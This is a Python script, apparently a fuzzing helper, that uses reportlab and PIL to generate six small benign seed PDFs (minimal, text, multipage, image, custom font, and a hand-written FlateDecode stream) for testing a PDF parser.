1
#!/usr/bin/env python3
2

3
import os
4
from reportlab.pdfgen import canvas
5
from reportlab.lib.pagesizes import A4
6
from reportlab.pdfbase import pdfmetrics
7
from reportlab.pdfbase.ttfonts import TTFont
8
from PIL import Image
9

10
OUTDIR = "corpus/pdf"
11
FONT_PATH = "/usr/share/fonts/TTF/Inconsolata-Black.ttf"
12

13
os.makedirs(OUTDIR, exist_ok=True)
14

15
def path(name):
16
    return os.path.join(OUTDIR, name)
17

18
def gen_image(fname):
19
    img = Image.new("RGB", (32, 32), color=(255, 0, 0))
20
    img.save(fname, "JPEG")
21

22
def gen_minimal():
23
    c = canvas.Canvas(path("id_000000_minimal.pdf"))
24
    c.drawString(10, 10, "hi")
25
    c.save()
26

27
def gen_text():
28
    c = canvas.Canvas(path("id_000001_text.pdf"))
29
    for i in range(5):
30
        c.drawString(50, 800 - i * 20, f"text line {i}")
31
    c.save()
32

33
def gen_multipage():
34
    c = canvas.Canvas(path("id_000002_multipage.pdf"))
35
    for i in range(5):
36
        c.drawString(100, 700, f"page {i}")
37
        c.showPage()
38
    c.save()
39

40
def gen_image_pdf():
41
    img_path = path("tmp.jpg")
42
    gen_image(img_path)
43

44
    c = canvas.Canvas(path("id_000003_image.pdf"), pagesize=A4)
45
    c.drawImage(img_path, 100, 500, width=100, height=100)
46
    c.save()
47

48
    os.remove(img_path)
49

50
def gen_font_pdf():
51
    pdfmetrics.registerFont(TTFont("FuzzFont", FONT_PATH))
52
    c = canvas.Canvas(path("id_000004_font.pdf"))
53
    c.setFont("FuzzFont", 12)
54
    c.drawString(100, 700, "font fuzz test")
55
    c.save()
56

57
def gen_stream_filter():
58
    # Hand-written PDF: stream + FlateDecode (parser favorite)
59
    data = b"""%PDF-1.4
60
1 0 obj
61
<< /Type /Catalog /Pages 2 0 R >>
62
endobj
63
2 0 obj
64
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
65
endobj
66
3 0 obj
67
<< /Type /Page /Parent 2 0 R /Contents 4 0 R >>
68
endobj
69
4 0 obj
70
<< /Length 5 /Filter /FlateDecode >>
71
stream
72
x\x9c\x03\x00\x00\x00\x00\x01
73
endstream
74
endobj
75
xref
76
0 5
77
0000000000 65535 f
78
0000000010 00000 n
79
0000000060 00000 n
80
0000000115 00000 n
81
0000000175 00000 n
82
trailer
83
<< /Root 1 0 R >>
84
startxref
85
240
86
%%EOF
87
"""
88
    with open(path("id_000005_stream_filter.pdf"), "wb") as f:
89
        f.write(data)
90

91
def main():
92
    gen_minimal()
93
    gen_text()
94
    gen_multipage()
95
    gen_image_pdf()
96
    gen_font_pdf()
97
    gen_stream_filter()
98
    print(f"[+] PDF corpus generated in ./{OUTDIR}")
99

100
if __name__ == "__main__":
101
    main()